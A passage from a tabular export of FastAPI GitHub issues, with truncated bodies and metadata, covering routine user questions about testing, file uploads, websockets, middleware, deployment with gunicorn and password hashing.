- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
def test_create_user():
    data = {""firstname"": 'tst', 'lastname': 'lst'}
    response = client.post('/user', json=data)
    assert response.status_code == 201
    assert response.json() == data
```


### Description

I am getting the below issue when running the unit test cases
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _


-- self =  ProactorEventLoop running=False closed=False debug=False

    def close(self):
        if self.is_running():
            raise RuntimeError(""Cannot close a running event loop"")
        if self.is_closed():
            return
>       signal.set_wakeup_fd(-1)
E       Va... [TRUNCATED]","question,question-migrate",2022-09-21T14:30:04Z,2023-02-27T21:23:59Z,13
tiangolo/fastapi,1379873768,upload file of multiple files of 256M is very slow,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import File, UploadFile
import aiofiles

# Upload file using fastapi
@app.post(""/upload"")
async def upload1(files: UploadFile = File(...)):
    for file in files:
        try:
            contents = await file.read()
            async with aiofiles.open(file.filename, 'wb') as f:
                await f.write(contents)
        except Exception:
            return {""message"": ""There was an error uploading the file(s)""}
        finally:
            await file.close()

    return {""message"": f""Successfuly uploaded {[file.filename for file in files]}""} 

# STREAM method to upload file

from fastapi import Request
import ... [TRUNCATED]","question,answered,question-migrate",2022-09-20T19:10:05Z,2023-02-27T21:23:52Z,16
tiangolo/fastapi,1379740826,how can I know when each version of fastapi release was out?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import UploadFile
```


### Description

The release notes do not include when each version was out.
I would really like to know when 0.78.0 was released?
and when the other releases were out?

### Operating System

Linux

### Operating System Details

Virtual Machine Vmware Ubuntu 18.4


### FastAPI Version

0.78.0

### Python Version

3.8

### Additional Context

_No response_","question,answered,question-migrate",2022-09-20T17:12:57Z,2023-02-27T21:23:46Z,6
tiangolo/fastapi,1379671473,FastAPI seems much slower that jupyter by vscode when useing pymongo,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@appmat.post(""/mt"")
def mtest(num: int):
    s = time.perf_counter()
    client = pymongo.MongoClient(""mongodb://localhost:27017/"")
    db = client['tdm']
    mycollec2 = db['ttt']
    test2Data = []
    for i in range(num):
        test2Data.append({
            ""time"": i,
            ""a"": random.randint(1, 8),
            ""b"": random.randint(0, 1)
        })

    mycollec2.insert_many(test2Data)

    e = time.perf_counter()

    return str(round(sys.getsizeof(test2Data) / 1024 / 1024, 2)) + ""MB"", e - s
```


### Description

Thanks for help.
I am a learner in Python and FastAPI.My work is very simple,using FastAPI to insert data ... [TRUNCATED]","question,question-migrate",2022-09-20T16:14:08Z,2023-02-27T21:23:42Z,6
tiangolo/fastapi,1378728956,"`pip install -e .[dev,doc,test]` in contributing documention wont work, is this a documentation error?","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
pip install -e .[dev,doc,test]
```


### Description

![image](https://user-images.githubusercontent.com/5053620/191152983-0b0161b0-0562-4120-8931-4e0993427b5c.png)

i am trying to execute upper command in my local python virtual env, and got error return:

![image](https://user-images.githubusercontent.com/5053620/191153106-2e2c09b2-3ce4-470e-9918-77840fcb47ad.png)


### Operating System

Linux

### Operating System Details

DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION=""Ubuntu 22.04.1 LTS""

### FastAPI Version

0.85.0

### Python Version

3.10.7

### Additional Context

i cloned latest fastapi, trying to... [TRUNCATED]","question,question-migrate",2022-09-20T02:25:44Z,2023-02-27T21:23:37Z,11
tiangolo/fastapi,1377922041,"""opening handshake failed"" for websocket endpoint","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
-
```


### Description

Hey!

We are using FastAPI to setup a websocket endpoint and running uvicorn workers.

Very often we see errors saying `opening handshake failed` together with this stacktrace:
```
Traceback (most recent call last):
 File \""/usr/local/lib/python3.10/site-packages/websockets/legacy/server.py\"", line 163, in handler
 await self.handshake(
 File \""/usr/local/lib/python3.10/site-packages/websockets/legacy/server.py\"", line 597, in handshake
 raise self.connection_closed_exc() # pragma: no cover
websockets.exceptions.ConnectionClosedError: no close frame received or sent
```

Right after we see this other error, sayi... [TRUNCATED]","question,question-migrate",2022-09-19T13:01:04Z,2023-02-28T15:42:33Z,5
tiangolo/fastapi,1377052034,"`RequestValidationError` is raised when testing, instead of returing `422` response","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import uuid

from fastapi import FastAPI, APIRouter, Header, HTTPException
from fastapi.testclient import TestClient
from pydantic import BaseModel


# Models and CRUD
class Item(BaseModel):
    id: int
    content: str


def crud_get_items():
    # This function lies in a separate module
    return [
        Item(id=1, content=""First item""),
        Item(id=2, content=""Second item""),
    ]


# App
app = APIRouter()


@app.get(""/"")
async def get_items(user_id: str = Header()):
    data = crud_get_items()
    if not len(data):  # This is redundant in the example, but exist in ""normal"" codebase
        rai... [TRUNCATED]","question,question-migrate",2022-09-18T13:12:36Z,2023-02-27T21:51:38Z,6
tiangolo/fastapi,1376213050,"Await dont work in BackgroundTaks (Fastapi, Beanie, MongoDB)","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from beanie import PydanticObjectId, Document
from fastapi import FastAPI, APIRouter, Request, BackgroundTasks
from time import time
from pydantic import BaseModel
from typing import Optional

app = FastAPI()
#router = APIRouter(prefix=""/audit"",tags=['Audit'])

class Audit(Document):
    account: Optional[str]
    company: Optional[str]
    user: Optional[str]
    module: str
    endpoint: str
    url_params: Optional[str]
    body_params: Optional[dict]
    reference_id: Optional[str]
    previous_state: Optional[bytes]
    posterior_state: Optional[bytes]
    date: int = time()

    class Settings:
        n... [TRUNCATED]","question,investigate,question-migrate",2022-09-16T17:20:41Z,2023-02-28T15:42:28Z,10
tiangolo/fastapi,1374512065,Deploy Single API from multiple APIs as a microservice,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# segment/main.py

from fastapi import FastAPI

app = FastAPI()
    
@app.get(""/"")
def read_root():
    return {""Hello"": ""Segment""}

# campaign/main.py
from fastapi import FastAPI

app = FastAPI()
    
@app.get(""/"")
def read_root():
    return {""Hello"": ""Campaign""}
```


### Description

In below link I saw that we can define routes when we have multiple APIs in Fast API.
https://fastapi.tiangolo.com/tutorial/bigger-applications/

Now my question is, How can i deploy single API from whole project. I want to keep logger, exception & utility classes common and don't want to re-deploy them.

Below if my folder structure. Here in **... [TRUNCATED]","question,question-migrate",2022-09-15T13:13:31Z,2023-02-27T21:51:33Z,7
tiangolo/fastapi,1374389368,Is there an alternative to get the current_app?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [x] I commit to help with one of those options 👆

### Example Code

```python
# Example
from flask import current_app

# required
from fastapi import current_app
```


### Description

I need to get the current_app instantiated by using app=FasAPI() in diferent functions and events so I would like to know if there is an alternative similar to the exitent one in flask

### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

latest

### Python Version

3.8

### Additional Context

_No response_","question,question-migrate",2022-09-15T11:38:18Z,2023-02-27T21:51:29Z,3
tiangolo/fastapi,1373889490,FastApi in Docker shutting down after some requests,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# Dockerfile
ENTRYPOINT [ ""poetry"", ""run"", ""uvicorn"", ""main:app"" ]
CMD [ ""--host"", ""0.0.0.0"", ""--app-dir"", ""/app/sales_api/"", ""--log-config"", ""/logging.conf"", ""--debug"", ""true"" ]

# logs 

[INFO][2022-09-1416:04:01,091] [Sales API] [sales _api] L36 : Creating the FastAPI application
1663171441105 [INFO][2022-09-1416:04:01,105] [Sales API] [sales_ api] L45 : Attaching API routes to the main application
1663171441106 [INFO][2022-09-1416:04:01,105] [Sales API] [uvicorn.error] L75 : Started server process [15]
1663171441106 (INFO][2022-09-1416:04:01,106] [Sales API] [uvicorn.error] L47 : Waiting for application startup.
1663171441106 (INFO][202... [TRUNCATED]","question,question-migrate",2022-09-15T04:13:29Z,2023-02-27T21:51:25Z,5
tiangolo/fastapi,1373250991,Allow creating advanced custom route classes,"(Duplicate of #5390)

### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# N/A
```


### Description

I'd like to be able to implement a multimedia route that can optimally handle not only an entire e.g. msgpacked payload, but individual fields in the payload.

For example, if some models include `bytes` fields, for optimal performance, you want those fields to be (de)serialized only once, i.e. msgpack/base64 to `bytes` or `bytes` to msgpack/base64, instead of, e.g., msgpack to base64 to `bytes`.

### Wanted Solution

Building on top of the contributions of @dmontagu, @sandys, and @jcsaaddupuy in #521, in particular [this comment](https://github.com/tiangolo/fastapi/is... [TRUNCATED]","question,investigate,reviewed,question-migrate",2022-09-14T16:12:03Z,2023-02-28T15:42:25Z,0
tiangolo/fastapi,1372709996,Stop execution of fastapi endpoint after a specified time to unblock resources,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import time
from uvicorn import Server, Config
from random import randrange
from fastapi import FastAPI

app = FastAPI()

def some_func(text):
    """"""
    Some computationally heavy function
    whose execution time depends on input text size
    """"""
    randinteger = randrange(1,120)
    time.sleep(randinteger)# simulate processing of text
    return text


@app.get(""/do_something"")
async def do_something():
    response = some_func(text=""hello world"")
    return {""response"": response}

# Running
if __name__ == '__main__':
    server = Server(Config(app=app, host='0.0.0.0', port=3001))
    server.run()
```... [TRUNCATED]","question,reviewed,question-migrate",2022-09-14T10:04:46Z,2023-02-27T21:51:18Z,14
tiangolo/fastapi,1372594968,How to run guvicorn as a service?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
gunicorn main:app --workers 4 --worker-class uvicorn.workers.UvicornWorker --bind 0.0.0.0:80
```


### Description

Although the documentation (which btw is excellent) refers to deployment with Docker, and after online search, i cannot find how i will run guvicorn command:
`gunicorn main:app --workers 4 --worker-class uvicorn.workers.UvicornWorker --bind 0.0.0.0:80` as a service (without Docker). 
Is there a recommended way for production? I found that in linux i can create a systemd service and run it always and after a crash. How i can to the same in windows?
And if i do that, do i need a reverse proxy (i like caddy) to run on top?



### Oper... [TRUNCATED]","question,answered,question-migrate",2022-09-14T08:42:51Z,2023-02-27T21:51:11Z,13
tiangolo/fastapi,1372090619,"""request.json()"" hangs indefinitely in middleware","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, Request, Response
from starlette.middleware.base import BaseHTTPMiddleware, RequestResponseEndpoint


class Middleware(BaseHTTPMiddleware):

    async def dispatch(self, request: Request, call_next: RequestResponseEndpoint) -> Response:
        await request.json()
        response = await call_next(request)
        return response


app = FastAPI()
app.add_middleware(Middleware)


@app.post(""/test"")
async def test(test: dict) -> dict:
    return {""data"": ""test""}
```


### Description

- Run script with: `uvicorn main:app --reload`
- Run CURL with POST request: `curl -X 'POST'   'http://localhost:8000/t... [TRUNCATED]","question,investigate,question-migrate",2022-09-13T22:57:33Z,2023-02-28T15:42:19Z,11
tiangolo/fastapi,1370370901,Make exclude_unset work in pydantic models dependencies in form body,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import Depends, Form, FastAPI
from pydantic import BaseModel

app = FastAPI()


class Item(BaseModel):
    x: str = Form()


@app.get(""/"")
async def foo(item: Item = Depends()):
    print(item.dict(exclude_unset=True))
```


### Description

Open the browser and call endpoint ""/""
It prints `{}`

### Wanted Solution

I would like it not to fill dependency model with nulls, but leave it unset, with a parameter in Depends for backward compatibilty

### Wanted Code

```python
from fastapi import Depends, Form, FastAPI
from pydantic import BaseModel

app = FastAPI()


class Item(BaseModel):
    x: str = Form()


@app.ge... [TRUNCATED]","question,investigate,reviewed,question-migrate",2022-09-12T18:52:30Z,2023-02-28T15:42:13Z,7
tiangolo/fastapi,1370179108,Typer/Fastapi/asyncio interaction bug,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import os
import asyncio


from fastapi import FastAPI
import uvicorn


app = FastAPI()

@app.on_event(""startup"")
async def on_startup() -> None:
    
    # WHEN YOU GET HERE YOU WILL FIND THE state.invisible IS GONE!!!!
    foo = 2


@app.on_event(""shutdown"")
async def on_shutdown() -> None:
    # When the system is shutdown
    pass



async def serverapp(appname:str, serverip:str, ctrlport:int):
    config = uvicorn.Config(appname, host=serverip, port=ctrlport)
    server = uvicorn.Server(config)
    # state.invisible IS STILL PRESENT!!!!
    await server.serve()


if __name__ == ""__main__"":
    im... [TRUNCATED]","question,question-migrate",2022-09-12T16:25:18Z,2023-02-28T15:42:09Z,6
tiangolo/fastapi,1370167011,"hash must be unicode or bytes, not sqlalchemy.orm.attributes.InstrumentedAttribute","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
app=FastAPI()

@app.post('/user')
def createUser():
    userPassword=user(password:hashPass(userModel.password))

def verifyPass(plain_password,hashed_password):
        pwd_context=CryptContext(schemes=[""bcrypt""],deprecated=""auto"")
        verified=pwd_context.verify(plain_password,hashed_password)
        return verified

@app.post('/login')
def verifyUser():
    check=verifyPass(pass,user.password)
    return 'user verified'
```


### Description

I have created a user which has hashed password using pwd_context.hash(). I want to verify whether the hash password and the plain password(from user login) are... [TRUNCATED]","question,question-migrate",2022-09-12T16:16:00Z,2023-02-27T21:51:07Z,3
tiangolo/fastapi,1368826122,Gunicorn keeps booting workers when onstartup raises exception,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()

items = {}


@app.on_event(""startup"")
async def startup_event():
    items[""foo""] = {""name"": ""Fighters""}
    items[""bar""] = {""name"": ""Tenders""}

    raise Exception


@app.get(""/items/{item_id}"")
async def read_items(item_id: str):
    return items[item_id]

""""""
gunicorn app:app --workers 1 --worker-class uvicorn.workers.UvicornWorker --bind 0.0.0.0:80
""""""
```


### Description

I am using the example straight from [here](https://fastapi.tiangolo.com/advanced/events/) starting the server locally using [server-workers](https://fastapi.tiangolo.com/deployment/server-workers/)

I have ... [TRUNCATED]","question,question-migrate",2022-09-11T04:29:07Z,2023-02-27T21:51:03Z,4
tiangolo/fastapi,1368558591,Stream HTML page with static files and hyperlinks,"### Description

Can `FastAPI` stream HTML page with static files and hyperlinks from another service without using [RedirectResponse](https://github.com/encode/starlette/blob/master/docs/responses.md#redirectresponse)?

### Example Code

```python
from starlette.requests import Request
from starlette.responses import StreamingResponse
from starlette.background import BackgroundTask

import httpx

client = httpx.AsyncClient(base_url=""http://containername:7800/"")


async def _reverse_proxy(request: Request):
    url = httpx.URL(path=request.url.path, query=request.url.query.encode(""utf-8""))
    rp_req = client.build_request(
        request.method, url, headers=request.headers.raw, content=await request.body()
    )
    rp_resp = await client.send(rp_req, stream=True)
    return StreamingResponse(
        rp_resp.aiter_raw(),
        status_code=rp_resp.status_code,
        headers=rp_resp.headers,
        background=BackgroundTask(rp_resp.aclose),
    )


app.add_route(""/titles/{path:path}"", _reverse_proxy, [""GET"", ""POST""])
```

### FastAPI Version

0.78.0

### Python Version

python 3.9

### Additional Context

A common architecture in micro-services is to have a gateway layer that implements a public API that passes requests to micro-services. 

```

                            =============== Docker Network =============
                            ||                                        ||
                            ||  ... [TRUNCATED]","question,question-migrate",2022-09-10T09:05:17Z,2023-02-27T21:50:58Z,4
tiangolo/fastapi,1365458070,Fastapi run with poetry with .env file have conflict with python-dotenv ,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
in core/config.py
from pydantic import BaseSettings
import os

class Settings_es(BaseSettings):
    ES_HOST  : str 
    ES_LOGIN : str
    ES_PW    : str

    class Config:
        env_file = "".env""

In db.database.py
from elasticsearch import Elasticsearch
from core.config import Settings_es

def get_es():
    setting = Settings_es() #must put in here! cannot put n global
    es = Elasticsearch(hosts=setting.ES_HOST, http_auth=(setting.ES_LOGIN,setting.ES_PW))
    return es


if __name__ == ""__main__"":
    print(""test db"")
```


### Description

I am using poetry as project package dependency,

the pyproject.toml have:
[too... [TRUNCATED]","question,question-migrate",2022-09-08T03:14:15Z,2023-02-27T21:50:54Z,4
tiangolo/fastapi,1362750406,How to individual run file beside main.py in FASTAPI platform?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
in db/database.py

from elasticsearch import Elasticsearch
from dataclasses import dataclass
from core.config import Settings
# from metering_api_gateway.core.config import Settings
```


### Description

How can i individual test/run a python file beside main.py in FASTAPI framework?
 

### Operating System

Linux

### Operating System Details

I have similar question related to following
[](https://stackoverflow.com/questions/59300393/how-to-run-seperate-files-in-fastapi-platform)



### FastAPI Version

0.82

### Python Version

3.8

### Additional Context

![Screenshot from 2022-09-06 13-48-07](https://user-images.githubusercontent.com/7... [TRUNCATED]","question,question-migrate",2022-09-06T06:02:52Z,2023-02-27T21:50:50Z,5
tiangolo/fastapi,1362424207,Run async operations on separate threads,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# some_router.py
@router.get(""/"")
async def get_some_things():
   return await some_long_taking_method()
```


### Description

Hey, I wanted to ask a question that has been buzzing me all over these days. It's about FastAPI and it behavior with threads and async/not async functions.
As you can see in the sample code, I have a router with an async endpoint that runs an operation that takes for example 15 seconds. After doing some research I found this: ""Thus, def (sync) routes run in a separate thread from a threadpool, or, in other words, the server processes the requests concurrently, whereas async def routes run on the main (single) thread, i.... [TRUNCATED]","question,question-migrate",2022-09-05T19:54:40Z,2023-02-27T21:50:42Z,18
tiangolo/fastapi,1362201955,"422: ""value is not a valid dict"" on Form() BaseModel validation - @app.post uses Path(), File() and Form() - Request called from SwaggerUI","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
